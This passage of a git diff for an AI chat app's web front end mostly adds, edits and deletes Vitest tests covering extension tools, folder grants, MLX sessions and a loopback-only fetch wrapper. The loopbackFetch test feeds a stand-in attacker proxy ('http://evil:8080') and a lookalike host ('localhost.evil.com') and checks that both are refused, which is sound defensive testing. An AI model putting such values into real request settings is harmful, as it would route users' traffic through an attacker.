+43,6 @@ export const useTools = () => {}updateMcpToolNames(mcpNames)updateRagToolNames(ragOnly)-- // Initialize default disabled tools for new users (only once)- if (!isDefaultsInitialized() && mcpTools.length > 0 && mcpExtension?.getDefaultDisabledTools) {- const defaultDisabled = await mcpExtension.getDefaultDisabledTools()- if (defaultDisabled.length > 0) {- setDisabledTools(defaultDisabled)- markDefaultsAsInitialized()- }- }} catch (error) {console.error('Failed to fetch MCP tools:', error)}@@ -72,4 +59,20 @@ export const useTools = () => {return unsubscribe// eslint-disable-next-line react-hooks/exhaustive-deps}, [])++ // Contributed tools come and go as extensions bind and release handlers.+ // Only the tool list is compared, so a status item update does not make+ // the chat transport rebuild its tools.+ useEffect(() => {+ let previous = ''+ const sync = (state: Parameters<typeof listExtensionTools>[0]) => {+ const tools = listExtensionTools(state)+ const key = JSON.stringify(tools)+ if (key === previous) return+ previous = key+ updateExtensionTools(tools)+ }+ sync(useContributions.getState())+ return useContributions.subscribe(sync)+ }, [updateExtensionTools])}diff --git a/web-app/src/i18n/__tests__/keys.test.ts b/web-app/src/i18n/__tests__/keys.test.tsindex e6fa488cf..0c1fbe21b 100644--- a/web-app/src/i18n/__tests__/keys.test.ts+++ b/web-app/src/i18n/__tests__/keys.test.ts@@ -62,8 +62,9 @@ const resolves = ((typeof lookup(bundle, ns, `${key}_one`) === 'string' &&typeof lookup(bundle, ns, `${key}_other`) === 'string')-// Only literal keys; dynamically-built ones can't be checked statically.-const KEY_CALL = /t\(\s*['"]([a-zA-Z0-9_-]+):([a-zA-Z0-9_.]+)['"]/g+// Only literal keys; dynamically-built ones can't be checked statically. The+// word boundary keeps calls such as `gatedEvent('ns:x')` from reading as `t(`.+const KEY_CALL = /\bt\(\s*['"]([a-zA-Z0-9_-]+):([a-zA-Z0-9_.]+)['"]/gdescribe('i18n keys', () => {it('resolves every statically-referenced key in the en locale', () => {diff --git a/web-app/src/lib/__tests__/assetScope.test.ts b/web-app/src/lib/__tests__/assetScope.test.tsnew file mode 100644index 000000000..3d14573d1--- /dev/null+++ b/web-app/src/lib/__tests__/assetScope.test.ts@@ -0,0 +1,44 @@+import { describe, it, expect, vi, beforeEach } from 'vitest'++const invoke = vi.fn().mockResolvedValue(undefined)++vi.mock('@/lib/platform/utils', () => ({ isPlatformTauri: () => true }))+vi.mock('@/hooks/useServiceHub', () => ({+ getServiceHub: () => ({ core: () => ({ invoke }) }),+}))+vi.mock('@/lib/backendStorage', () => ({+ backendStorage: {+ getItem: vi.fn().mockResolvedValue(null),+ setItem: vi.fn().mockResolvedValue(undefined),+ removeItem: vi.fn().mockResolvedValue(undefined),+ },+}))++import { grantCoworkFolders, grantFolders } from '@/lib/assetScope'+import { useCoworkSessions } from '@/hooks/useCoworkSessions'++const grantedFolders = () =>+ invoke.mock.calls+ .filter(([cmd]) => cmd === 'asset_scope_allow_folder')+ .map(([, args]) => (args as { folder: string }).folder)++describe('assetScope', () => {+ beforeEach(() => invoke.mockClear())++ it('grants each folder once and skips empty slots', () => {+ grantFolders(['/once', null, '/once'])+ grantFolders(['/once'])+ expect(grantedFolders()).toEqual(['/once'])+ })++ it('grants persisted folders and ones attached later', () => {+ const store = useCoworkSessions.getState()+ const a = store.createSession()+ store.setFolder(a, '/persisted')+ grantCoworkFolders()+ expect(grantedFolders()).toEqual(['/persisted'])++ useCoworkSessions.getState().setFolder(a, '/attached/later')+ expect(grantedFolders()).toEqual(['/persisted', '/attached/later'])+ })+})diff --git a/web-app/src/lib/__tests__/custom-chat-transport-abort-load.test.ts b/web-app/src/lib/__tests__/custom-chat-transport-abort-load.test.tsindex d3ddb10d4..26549188a 100644--- a/web-app/src/lib/__tests__/custom-chat-transport-abort-load.test.ts+++ b/web-app/src/lib/__tests__/custom-chat-transport-abort-load.test.ts@@ -78,9 +78,6 @@ vi.mock('@janhq/tauri-plugin-llamacpp-api', () => ({getLoadedModels: h.getLoadedModels,unloadLlamaModel: h.unloadLlamaModel,}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: { getInstance: () => ({ get: () => null }) },-}))vi.mock('@/lib/mcp-orchestrator', () => ({mcpOrchestrator: { getRelevantTools: vi.fn() },}))diff --git a/web-app/src/lib/__tests__/custom-chat-transport-class.test.ts b/web-app/src/lib/__tests__/custom-chat-transport-class.test.tsindex 5f9965018..467c982c7 100644--- a/web-app/src/lib/__tests__/custom-chat-transport-class.test.ts+++ b/web-app/src/lib/__tests__/custom-chat-transport-class.test.ts@@ -36,9 +36,6 @@ vi.mock('@/hooks/useMCPServers', () => ({useMCPServers: { getState: () => ({ settings: {} }) },}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: { getInstance: () => ({ get: () => null }) },-}))vi.mock('@/lib/mcp-orchestrator', () => ({mcpOrchestrator: { getRelevantTools: vi.fn() },diff --git a/web-app/src/lib/__tests__/custom-chat-transport-extension-tools.test.ts b/web-app/src/lib/__tests__/custom-chat-transport-extension-tools.test.tsnew file mode 100644index 000000000..da8afce39--- /dev/null+++ b/web-app/src/lib/__tests__/custom-chat-transport-extension-tools.test.ts@@ -0,0 +1,143 @@+import { describe, expect, it, vi, beforeEach } from 'vitest'++// Tools contributed by extensions are offered to the model under their wire+// names, and the tool toggles switch them off per extension like an MCP server.+const h = vi.hoisted(() => ({+ disabled: [] as string[],+ extensionTools: [] as unknown[],+}))++vi.mock('@/hooks/useAppState', () => ({+ useAppState: {+ getState: () => ({ extensionTools: h.extensionTools }),+ },+}))+vi.mock('@/hooks/useChatShell', () => ({+ useChatShell: { getState: () => ({ shellEnabled: false }) },+}))+vi.mock('@/lib/agentTools', () => ({+ CHAT_AGENT_TOOL_NAMES: new Set(['shell']),+ getAgentToolSchemas: async () => [],+ sandboxEnforces: () => true,+ memoryDigestNow: () => '',+ refreshMemoryDigest: async () => '',+}))+vi.mock('@/hooks/useServiceHub', () => ({+ useServiceStore: {+ getState: () => ({+ serviceHub: {+ mcp: () => ({ getTools: async () => [] }),+ rag: () => ({ getTools: async () => [] }),+ },+ }),+ },+}))+vi.mock('@/hooks/useToolAvailable', () => ({+ useToolAvailable: { getState: () => ({ getDisabledTools: () => h.disabled }) },+}))+vi.mock('@/hooks/useModelProvider', () => ({+ useModelProvider: {+ getState: () => ({+ selectedModel: { capabilities: ['tools'] },+ selectedProvider: '',+ getProviderByName: () => null,+ }),+ },+}))+vi.mock('@/hooks/useAssistant', () => ({+ useAssistant: { getState: () => ({ currentAssistant: null }) },+}))+vi.mock('@/hooks/useThreads', () => ({+ useThreads: { getState: () => ({ threads: {} }) },+}))+vi.mock('@/hooks/useAttachments', () => ({+ useAttachments: { getState: () => ({ enabled: false }) },+}))+vi.mock('@/hooks/useMCPServers', () => ({+ useMCPServers: {+ getState: () => ({ settings: { enableSmartToolRouting: false } }),+ },+}))+vi.mock('@/hooks/useWebSearchConfig', () => ({+ useWebSearchConfig: { getState: () => ({ webSearchEnabled: false }) },+}))+vi.mock('@/lib/mcp-orchestrator', () => ({+ mcpOrchestrator: { getRelevantTools: vi.fn() },+}))+vi.mock('@/lib/mcp-router-model-filter', () => ({+ isRouterModelSelectable: () => false,+}))+vi.mock('../model-factory', () => ({+ ModelFactory: { createModel: vi.fn() },+}))++import { CustomChatTransport } from '../custom-chat-transport'+import { toModelProvider } from '../extensions/providers'+import type { ModelCapability } from '@janhq/extension-api'++// A model as an extension provider lists it, through the same mapping the+// model picker uses, so the chat sees exactly what an extension declared.+const extensionModel = (capabilities?: ModelCapability[]) =>+ toModelProvider(+ {+ extensionId: 'acme.llm',+ extensionName: 'Acme LLM',+ contribution: {+ id: 'local',+ displayName: 'Local',+ baseUrl: 'http://127.0.0.1:11999/v1',+ capabilities,+ },+ },+ [{ id: 'm1' }],+ undefined+ ).models[0]++describe('extension tools in the chat transport', () => {+ beforeEach(() => {+ h.disabled = []+ h.extensionTools = [+ {+ wireName: 'x_acme_one__echo',+ extensionId: 'acme.one',+ name: 'echo',+ description: 'Echo the input',+ inputSchema: { type: 'object', properties: { text: { type: 'string' } } },+ server: 'ext:acme.one',+ },+ ]+ })++ it('offers each contributed tool under its wire name', async () => {+ const transport = new CustomChatTransport('', 'thread-1')+ await transport.refreshTools()+ const tools = transport.getTools()+ expect(Object.keys(tools)).toEqual(['x_acme_one__echo'])+ expect(tools.x_acme_one__echo.description).toBe('Echo the input')+ })++ it('offers tools to an extension provider model that declares them', async () => {+ const transport = new CustomChatTransport('', 'thread-1')+ await transport.refreshTools(undefined, {+ selectedProvider: 'acme.llm/local',+ selectedModel: extensionModel(['completion', 'tools']),+ })+ expect(Object.keys(transport.getTools())).toEqual(['x_acme_one__echo'])+ })++ it('offers no tools to an extension provider model without them', async () => {+ const transport = new CustomChatTransport('', 'thread-1')+ await transport.refreshTools(undefined, {+ selectedProvider: 'acme.llm/local',+ selectedModel: extensionModel(),+ })+ expect(transport.getTools()).toEqual({})+ })++ it('leaves out a tool the user switched off', async () => {+ h.disabled = ['ext:acme.one::x_acme_one__echo']+ const transport = new CustomChatTransport('', 'thread-1')+ await transport.refreshTools()+ expect(transport.getTools()).toEqual({})+ })+})diff --git a/web-app/src/lib/__tests__/custom-chat-transport-prefix-stability.test.ts b/web-app/src/lib/__tests__/custom-chat-transport-prefix-stability.test.tsindex 897bf7516..36d8887f8 100644--- a/web-app/src/lib/__tests__/custom-chat-transport-prefix-stability.test.ts+++ b/web-app/src/lib/__tests__/custom-chat-transport-prefix-stability.test.ts@@ -95,14 +95,15 @@ vi.mock('@/hooks/useMCPServers', () => ({},}))// Every getState() setter is a no-op; unknown reads (currentStreamThreadId)-// resolve to undefined.+// resolve to undefined. No extension contributes tools.vi.mock('@/hooks/useAppState', () => ({useAppState: {getState: () =>new Proxy({},{- get: () => () => undefined,+ get: (_target, key) =>+ key === 'extensionTools' ? [] : () => undefined,}),},diff --git a/web-app/src/lib/__tests__/custom-chat-transport-shell-switch.test.ts b/web-app/src/lib/__tests__/custom-chat-transport-shell-switch.test.tsindex 5d6c9d05b..56e83f435 100644--- a/web-app/src/lib/__tests__/custom-chat-transport-shell-switch.test.ts+++ b/web-app/src/lib/__tests__/custom-chat-transport-shell-switch.test.ts@@ -57,9 +57,6 @@ vi.mock('@/hooks/useMCPServers', () => ({vi.mock('@/hooks/useWebSearchConfig', () => ({useWebSearchConfig: { getState: () => ({ webSearchEnabled: false }) },}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: { getInstance: () => ({ get: () => null }) },-}))vi.mock('@/lib/mcp-orchestrator', () => ({mcpOrchestrator: { getRelevantTools: vi.fn() },}))diff --git a/web-app/src/lib/__tests__/custom-chat-transport-tool-freeze.test.ts b/web-app/src/lib/__tests__/custom-chat-transport-tool-freeze.test.tsindex 384b9ecbd..ceed1d4d4 100644--- a/web-app/src/lib/__tests__/custom-chat-transport-tool-freeze.test.ts+++ b/web-app/src/lib/__tests__/custom-chat-transport-tool-freeze.test.ts@@ -49,9 +49,6 @@ vi.mock('@/hooks/useMCPServers', () => ({getState: () => ({ settings: { enableSmartToolRouting: true } }),},}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: { getInstance: () => ({ get: () => null }) },-}))vi.mock('@/lib/mcp-orchestrator', () => ({mcpOrchestrator: { getRelevantTools: h.getRelevantTools },}))diff --git a/web-app/src/lib/__tests__/custom-chat-transport-turn-model.test.ts b/web-app/src/lib/__tests__/custom-chat-transport-turn-model.test.tsindex 009e758c8..40b72c08d 100644--- a/web-app/src/lib/__tests__/custom-chat-transport-turn-model.test.ts+++ b/web-app/src/lib/__tests__/custom-chat-transport-turn-model.test.ts@@ -66,9 +66,6 @@ vi.mock('@janhq/tauri-plugin-llamacpp-api', () => ({getLoadedModels: vi.fn(async () => ['local-model']),unloadLlamaModel: vi.fn(),}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: { getInstance: () => ({ get: () => null }) },-}))vi.mock('@/lib/mcp-orchestrator', () => ({mcpOrchestrator: { getRelevantTools: vi.fn() },}))diff --git a/web-app/src/lib/__tests__/extension.coverage.test.ts b/web-app/src/lib/__tests__/extension.coverage.test.tsdeleted file mode 100644index b997df83d..000000000--- a/web-app/src/lib/__tests__/extension.coverage.test.ts+++ /dev/null@@ -1,197 +0,0 @@-import { describe, it, expect, vi, beforeEach } from 'vitest'-import { Extension, ExtensionManager } from '../extension'-import { ExtensionTypeEnum } from '@janhq/core'--// Mock dependencies-vi.mock('@janhq/core', () => ({- AIEngine: class MockAIEngine {},- BaseExtension: class MockBaseExtension {- type() { return 'base' }- onLoad() { return Promise.resolve() }- onUnload() {}- },- ExtensionTypeEnum: {- SystemMonitor: 'system-monitor',- Model: 'model',- Assistant: 'assistant',- },-}))--const mockGetActiveExtensions = vi.fn()-const mockConvertFileSrc = vi.fn((p: string) => `asset://${p}`)-const mockInstallExtension = vi.fn()-const mockUninstallExtension = vi.fn()--vi.mock('@/hooks/useServiceHub', () => ({- getServiceHub: () => ({- core: () => ({- getActiveExtensions: mockGetActiveExtensions,- convertFileSrc: mockConvertFileSrc,- installExtension: mockInstallExtension,- uninstallExtension: mockUninstallExtension,- }),- }),-}))--// Mock window.core-Object.defineProperty(window, 'core', {- writable: true,- value: { extensionManager: null },-})--describe('ExtensionManager - coverage', () => {- let manager: ExtensionManager-- beforeEach(() => {- vi.clearAllMocks()- window.core.extensionManager = null- manager = ExtensionManager.getInstance()- })-- describe('register and retrieval', () => {- it('registers and retrieves extension by name', () => {- const ext = { type: () => 'assistant', onLoad: vi.fn(), onUnload: vi.fn() } as any- manager.register('my-ext', ext)- expect(manager.getByName('my-ext')).toBe(ext)- })-- it('registers AI engine when extension has provider', () => {- const ext = {- type: () => 'model',- provider: 'openai',- onLoad: vi.fn(),- onUnload: vi.fn(),- } as any- manager.register('engine-ext', ext)- expect(manager.getEngine('openai')).toBe(ext)- })-- it('get by type returns matching extension', () => {- const ext = { type: () => 'assistant', onLoad: vi.fn(), onUnload: vi.fn() } as any- manager.register('asst', ext)- expect(manager.get(ExtensionTypeEnum.Assistant)).toBe(ext)- })-- it('get by type returns undefined when no match', () => {- expect(manager.get(ExtensionTypeEnum.SystemMonitor)).toBeUndefined()- })-- it('getEngine returns undefined for unknown engine', () => {- expect(manager.getEngine('nonexistent')).toBeUndefined()- })-- it('getAll returns all registered extensions', () => {- const ext1 = { type: () => 'a', onLoad: vi.fn(), onUnload: vi.fn() } as any- const ext2 = { type: () => 'b', onLoad: vi.fn(), onUnload: vi.fn() } as any- manager.register('ext1', ext1)- manager.register('ext2', ext2)- expect(manager.getAll()).toHaveLength(2)- })-- it('listExtensions returns same as getAll', () => {- const ext = { type: () => 'a', onLoad: vi.fn(), onUnload: vi.fn() } as any- manager.register('ext', ext)- expect(manager.listExtensions()).toEqual(manager.getAll())- })- })-- describe('load and unload', () => {- it('load calls onLoad for all extensions', async () => {- const onLoad = vi.fn().mockResolvedValue(undefined)- const ext = { type: () => 'a', onLoad, onUnload: vi.fn() } as any- manager.register('ext', ext)- await manager.load()- expect(onLoad).toHaveBeenCalled()- })-- it('unload calls onUnload for all extensions', () => {- const onUnload = vi.fn()- const ext = { type: () => 'a', onLoad: vi.fn(), onUnload } as any- manager.register('ext', ext)- manager.unload()- expect(onUnload).toHaveBeenCalled()- })- })-- describe('getActive', () => {- it('returns extensions from service hub', async () => {- mockGetActiveExtensions.mockResolvedValue([- { url: 'http://ext', name: 'test', active: true },- ])- const result = await manager.getActive()- expect(result).toHaveLength(1)- expect(result[0]).toBeInstanceOf(Extension)- expect(result[0].name).toBe('test')- })-- it('returns empty array when no manifests', async () => {- mockGetActiveExtensions.mockResolvedValue(null)- const result = await manager.getActive()- expect(result).toEqual([])- })- })-- describe('activateExtension', () => {- it('registers pre-loaded extension instance directly', async () => {- const instance = { type: () => 'a', onLoad: vi.fn(), onUnload: vi.fn() } as any- const ext = new Extension('http://ext', 'preloaded', undefined, true, undefined, undefined, instance)- await manager.activateExtension(ext)- expect(manager.getByName('preloaded')).toBe(instance)- })-- it('imports and registers Tauri extensions', async () => {- const MockClass = vi.fn().mockImplementation(function (this: any) {- this.type = () => 'a'- this.onLoad = vi.fn()- this.onUnload = vi.fn()- })-- // Mock dynamic import- vi.doMock('asset://http://ext.js', () => ({ default: MockClass }), { virtual: true })- mockConvertFileSrc.mockReturnValue('asset://http://ext.js')-- const ext = new Extension('http://ext.js', 'tauri-ext')- await manager.activateExtension(ext)- expect(MockClass).toHaveBeenCalled()- })- })-- describe('registerActive', () => {- it('activates all active extensions', async () => {- const instance = { type: () => 'a', onLoad: vi.fn(), onUnload: vi.fn() } as any- mockGetActiveExtensions.mockResolvedValue([- { url: 'http://ext', name: 'test', active: true, extensionInstance: instance },- ])- await manager.registerActive()- expect(manager.getByName('test')).toBe(instance)- })- })-- describe('install', () => {- it('returns undefined when window is undefined', async () => {- // Can't truly test this in jsdom, but we can test the normal path- mockInstallExtension.mockResolvedValue([- { url: 'http://new', name: 'new-ext' },- ])- const result = await manager.install([{ url: 'http://new', name: 'new-ext' }])- expect(result).toBeDefined()- })- })-- describe('uninstall', () => {- it('calls uninstallExtension on service hub', async () => {- mockUninstallExtension.mockResolvedValue(true)- const result = await manager.uninstall(['ext-1'])- expect(mockUninstallExtension).toHaveBeenCalledWith(['ext-1'], true)- expect(result).toBe(true)- })- })-- describe('getInstance', () => {- it('returns singleton', () => {- const a = ExtensionManager.getInstance()- const b = ExtensionManager.getInstance()- expect(a).toBe(b)- })- })-})diff --git a/web-app/src/lib/__tests__/extension.test.ts b/web-app/src/lib/__tests__/extension.test.tsdeleted file mode 100644index 8b814ad7c..000000000--- a/web-app/src/lib/__tests__/extension.test.ts+++ /dev/null@@ -1,153 +0,0 @@-import { describe, it, expect, vi, beforeEach } from 'vitest'-import { Extension, ExtensionManager } from '../extension'--// Mock dependencies-vi.mock('@janhq/core', () => ({- AIEngine: class MockAIEngine {},- BaseExtension: class MockBaseExtension {},- ExtensionTypeEnum: {- SystemMonitor: 'system-monitor',- Model: 'model',- Assistant: 'assistant',- },-}))--vi.mock('@tauri-apps/api/core', () => ({- convertFileSrc: vi.fn((path) => `asset://${path}`),- invoke: vi.fn(),-}))--// Mock window.core.extensionManager-Object.defineProperty(window, 'core', {- writable: true,- value: {- extensionManager: null,- },-})--describe('extension.ts', () => {- beforeEach(() => {- vi.clearAllMocks()- // Reset the singleton for each test- window.core.extensionManager = null- })-- describe('Extension class', () => {- it('should create extension with required parameters', () => {- const extension = new Extension(- 'https://example.com/extension.js',- 'test-extension'- )-- expect(extension.name).toBe('test-extension')- expect(extension.url).toBe('https://example.com/extension.js')- expect(extension.productName).toBeUndefined()- expect(extension.active).toBeUndefined()- expect(extension.description).toBeUndefined()- expect(extension.version).toBeUndefined()- })-- it('should create extension with all parameters', () => {- const extension = new Extension(- 'https://example.com/extension.js',- 'test-extension',- 'Test Extension',- true,- 'A test extension',- '1.0.0'- )-- expect(extension.name).toBe('test-extension')- expect(extension.url).toBe('https://example.com/extension.js')- expect(extension.productName).toBe('Test Extension')- expect(extension.active).toBe(true)- expect(extension.description).toBe('A test extension')- expect(extension.version).toBe('1.0.0')- })-- it('should handle optional parameters as undefined', () => {- const extension = new Extension(- 'https://example.com/extension.js',- 'test-extension',- undefined,- undefined,- undefined,- undefined- )-- expect(extension.productName).toBeUndefined()- expect(extension.active).toBeUndefined()- expect(extension.description).toBeUndefined()- expect(extension.version).toBeUndefined()- })- })-- describe('ExtensionManager', () => {- let manager: ExtensionManager-- beforeEach(() => {- // Reset the singleton for each test- window.core.extensionManager = null- manager = ExtensionManager.getInstance()- })-- it('should be defined', () => {- expect(ExtensionManager).toBeDefined()- })-- it('should have required methods', () => {- expect(typeof manager.get).toBe('function')- expect(typeof manager.getAll).toBe('function')- expect(typeof manager.load).toBe('function')- expect(typeof manager.unload).toBe('function')- })-- it('should initialize extension manager', async () => {- await expect(manager.load()).resolves.not.toThrow()- })-- it('should get all extensions', () => {- const extensions = manager.getAll()- expect(Array.isArray(extensions)).toBe(true)- })-- it('should get extension by name', () => {- const extension = manager.getByName('non-existent')- expect(extension).toBeUndefined()- })-- it('should handle unloading extensions', () => {- expect(() => manager.unload()).not.toThrow()- })-- it('notifies registration listeners on register and supports unsubscribe', () => {- const listener = vi.fn()- const unsubscribe = manager.onRegistrationChange(listener)-- manager.register('ext-1', { type: () => undefined, onUnload: vi.fn() } as never)- expect(listener).toHaveBeenCalledTimes(1)-- unsubscribe()- manager.register('ext-2', { type: () => undefined, onUnload: vi.fn() } as never)- expect(listener).toHaveBeenCalledTimes(1)- })- })-- describe('Extension loading', () => {- it('should convert file source correctly', async () => {- const { convertFileSrc } = await import('@tauri-apps/api/core')- convertFileSrc('/path/to/extension.js')-- expect(convertFileSrc).toHaveBeenCalledWith('/path/to/extension.js')- })-- it('should invoke tauri commands', async () => {- const { invoke } = await import('@tauri-apps/api/core')- vi.mocked(invoke).mockResolvedValue('success')-- await invoke('test_command', { param: 'value' })-- expect(invoke).toHaveBeenCalledWith('test_command', { param: 'value' })- })- })-})diff --git a/web-app/src/lib/__tests__/llamacppRouterProps.test.ts b/web-app/src/lib/__tests__/llamacppRouterProps.test.tsnew file mode 100644index 000000000..6434f325e--- /dev/null+++ b/web-app/src/lib/__tests__/llamacppRouterProps.test.ts@@ -0,0 +1,44 @@+import { describe, it, expect, vi, beforeEach } from 'vitest'+import { ServiceKeys, createServiceRegistry } from '@janhq/core'++const h = vi.hoisted(() => ({ services: undefined as unknown }))+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({ services: h.services }),+}))++import {+ getLlamacppExtension,+ getLocalPropsExtension,+ getMlxExtension,+} from '../llamacppRouterProps'++const engine = () => ({+ getModelProps: vi.fn().mockResolvedValue({ nCtx: 1 }),+ unload: vi.fn().mockResolvedValue({ success: true }),+})++describe('local engine lookups', () => {+ beforeEach(() => {+ h.services = createServiceRegistry()+ })++ it('finds the llamacpp and mlx services in the host registry', () => {+ const registry = createServiceRegistry()+ h.services = registry+ const llama = { ...engine(), getDevices: vi.fn(), reconcileEngineDevices: vi.fn() }+ const mlx = engine()+ registry.provide(ServiceKeys.Llamacpp, llama)+ registry.provide(ServiceKeys.Mlx, mlx)+ expect(getLlamacppExtension()).toBe(llama)+ expect(getMlxExtension()).toBe(mlx)+ expect(getLocalPropsExtension('llamacpp')).toBe(llama)+ expect(getLocalPropsExtension('mlx')).toBe(mlx)+ })++ it('has nothing for an engine that is not running or a remote provider', () => {+ expect(getLlamacppExtension()).toBeUndefined()+ expect(getLocalPropsExtension('mlx')).toBeUndefined()+ expect(getLocalPropsExtension('openai')).toBeUndefined()+ expect(getLocalPropsExtension(undefined)).toBeUndefined()+ })+})diff --git a/web-app/src/lib/__tests__/loopback-fetch.test.ts b/web-app/src/lib/__tests__/loopback-fetch.test.tsnew file mode 100644index 000000000..2ee2b69cf--- /dev/null+++ b/web-app/src/lib/__tests__/loopback-fetch.test.ts@@ -0,0 +1,90 @@+import { describe, it, expect, vi, beforeEach } from 'vitest'++const httpFetch = vi.hoisted(() => vi.fn())+vi.mock('@tauri-apps/plugin-http', () => ({ fetch: httpFetch }))++import { LOOPBACK_DIRECT_PROXY, loopbackFetch } from '../loopback-fetch'++describe('loopbackFetch', () => {+ beforeEach(() => httpFetch.mockReset())++ // The engine is on loopback; a system or env proxy must never see the+ // request, or a VPN or corporate proxy breaks local inference.+ it('exempts every loopback host from proxies and keeps the caller init', async () => {+ httpFetch.mockResolvedValue(new Response('{}'))+ const signal = new AbortController().signal++ await loopbackFetch('http://127.0.0.1:3000/v1/chat/completions', {+ method: 'POST',+ headers: { Authorization: 'Bearer k' },+ body: '{}',+ signal,+ connectTimeout: 5000,+ })++ const [url, init] = httpFetch.mock.calls[0]+ expect(url).toBe('http://127.0.0.1:3000/v1/chat/completions')+ expect(init).toMatchObject({+ method: 'POST',+ headers: { Authorization: 'Bearer k' },+ body: '{}',+ signal,+ connectTimeout: 5000,+ proxy: LOOPBACK_DIRECT_PROXY,+ })+ expect(init.proxy.all.noProxy.split(',')).toEqual(+ expect.arrayContaining(['localhost', '127.0.0.1', '::1'])+ )+ })++ it('cannot be talked into a proxy by the caller', async () => {+ httpFetch.mockResolvedValue(new Response('{}'))+ const init = { proxy: { all: 'http://evil:8080' } } as RequestInit++ await loopbackFetch('http://localhost:1/x', init)++ expect(httpFetch.mock.calls[0][1].proxy).toEqual(LOOPBACK_DIRECT_PROXY)+ })++ it('accepts every loopback spelling, as a string, URL or Request', async () => {+ httpFetch.mockResolvedValue(new Response('{}'))+ await loopbackFetch('http://localhost:1/x')+ await loopbackFetch(new URL('http://127.0.0.1:1/x'))+ await loopbackFetch(new Request('http://[::1]:1/x'))+ expect(httpFetch).toHaveBeenCalledTimes(3)+ })++ // The proxy bypass would otherwise send a remote request around the+ // user's proxy. 0.0.0.0 is a listen address, not a loopback host.+ it.each([+ 'https://api.openai.com/v1/chat/completions',+ 'http://0.0.0.0:1/x',+ 'http://127.0.0.2:1/x',+ 'http://localhost.evil.com/x',+ 'not a url',+ ])('refuses %s without sending it', async (url) => {+ await expect(loopbackFetch(url)).rejects.toThrow(+ /loopbackFetch only reaches localhost, 127\.0\.0\.1 or \[::1\]/+ )+ expect(httpFetch).not.toHaveBeenCalled()+ })++ // A chat stream is consumed while the engine is still writing it.+ it('hands back the body as a stream before it has ended', async () => {+ const encoder = new TextEncoder()+ let push!: ReadableStreamDefaultController<Uint8Array>+ const body = new ReadableStream<Uint8Array>({+ start: (controller) => void (push = controller),+ })+ httpFetch.mockResolvedValue(new Response(body))++ const response = await loopbackFetch('http://localhost:1/v1/chat/completions')+ const reader = response.body!.getReader()+ push.enqueue(encoder.encode('data: one\n\n'))+ const first = await reader.read()++ expect(new TextDecoder().decode(first.value)).toBe('data: one\n\n')+ push.close()+ expect((await reader.read()).done).toBe(true)+ })+})diff --git a/web-app/src/lib/__tests__/model-factory.coverage.test.ts b/web-app/src/lib/__tests__/model-factory.coverage.test.tsindex 825fa150a..a146a2cbf 100644--- a/web-app/src/lib/__tests__/model-factory.coverage.test.ts+++ b/web-app/src/lib/__tests__/model-factory.coverage.test.ts@@ -77,6 +77,11 @@ vi.mock('@/lib/platform/utils', () => ({isPlatformTauri: vi.fn(() => false),}))+const mlxMock = vi.hoisted(() => ({ findSession: vi.fn() }))+vi.mock('@/lib/llamacppRouterProps', () => ({+ getMlxExtension: () => mlxMock,+}))+vi.mock('@/lib/provider-api-keys', () => ({providerRemoteApiKeyChain: vi.fn((p: any) => {const primary = p.api_key?.trim()@@ -228,16 +233,15 @@ describe('ModelFactory - coverage', () => {).rejects.toThrow('No running session found')})- it('creates mlx model', async () => {- const { invoke } = await import('@tauri-apps/api/core')- vi.mocked(invoke).mockResolvedValue({ port: 9090, api_key: 'mlx-key' })+ it('creates mlx model from the session the mlx service reports', async () => {+ mlxMock.findSession.mockResolvedValue({ port: 9090, api_key: 'mlx-key' })const model = await ModelFactory.createModel('mlx-model', mkProvider('mlx'), {})expect(model).toBeDefined()+ expect(mlxMock.findSession).toHaveBeenCalledWith('mlx-model')})it('throws when no mlx session found', async () => {- const { invoke } = await import('@tauri-apps/api/core')- vi.mocked(invoke).mockResolvedValue(null)+ mlxMock.findSession.mockResolvedValue(null)await expect(ModelFactory.createModel('mlx-model', mkProvider('mlx'), {})).rejects.toThrow('No running MLX session found')diff --git a/web-app/src/lib/__tests__/model-factory.deep.test.ts b/web-app/src/lib/__tests__/model-factory.deep.test.tsindex 08bab350c..9ddabd67e 100644--- a/web-app/src/lib/__tests__/model-factory.deep.test.ts+++ b/web-app/src/lib/__tests__/model-factory.deep.test.ts@@ -78,6 +78,11 @@ vi.mock('@/lib/platform/utils', () => ({isPlatformTauri: vi.fn(() => false),}))+const mlxMock = vi.hoisted(() => ({ findSession: vi.fn() }))+vi.mock('@/lib/llamacppRouterProps', () => ({+ getMlxExtension: () => mlxMock,+}))+vi.mock('@/lib/provider-api-keys', () => ({providerRemoteApiKeyChain: vi.fn((p: any) => {const primary = p.api_key?.trim()@@ -88,7 +93,8 @@ vi.mock('@/lib/provider-api-keys', () => ({}),}))-import { ModelFactory, LOOPBACK_DIRECT_PROXY } from '../model-factory'+import { ModelFactory } from '../model-factory'+import { LOOPBACK_DIRECT_PROXY } from '../loopback-fetch'import { invoke } from '@tauri-apps/api/core'import { fetch as httpFetch } from '@tauri-apps/plugin-http'@@ -243,7 +249,7 @@ describe('model-factory deep coverage', () => {auto_compact: true,})const opts = getOpts()- await opts.fetch('http://x', { method: 'POST', body: JSON.stringify({ messages: [] }) })+ await opts.fetch('http://localhost:8080/v1/chat/completions', { method: 'POST', body: JSON.stringify({ messages: [] }) })const body = JSON.parse(vi.mocked(httpFetch).mock.calls[0][1]!.body as string)expect(body.temperature).toBe(0.5)expect(body.max_tokens).toBe(1024)@@ -300,23 +306,23 @@ describe('model-factory deep coverage', () => {/* mlx internals */describe('mlx internals', () => {it('url, headers, and param merge', async () => {- vi.mocked(invoke).mockResolvedValue({ port: 9090, api_key: 'mlx-key' })+ mlxMock.findSession.mockResolvedValue({ port: 9090, api_key: 'mlx-key' })await ModelFactory.createModel('m', mkProvider('mlx'), { temperature: 0.3 })const opts = getOpts()expect(opts.url({ path: '/chat/completions' })).toBe('http://localhost:9090/v1/chat/completions')expect(opts.headers().Authorization).toBe('Bearer mlx-key')- await opts.fetch('http://x', { method: 'POST', body: JSON.stringify({ messages: [] }) })+ await opts.fetch('http://localhost:9090/v1/chat/completions', { method: 'POST', body: JSON.stringify({ messages: [] }) })const body = JSON.parse(vi.mocked(httpFetch).mock.calls[0][1]!.body as string)expect(body.temperature).toBe(0.3)})it('sends cancel on abort', async () => {- vi.mocked(invoke).mockResolvedValue({ port: 9090, api_key: 'k' })+ mlxMock.findSession.mockResolvedValue({ 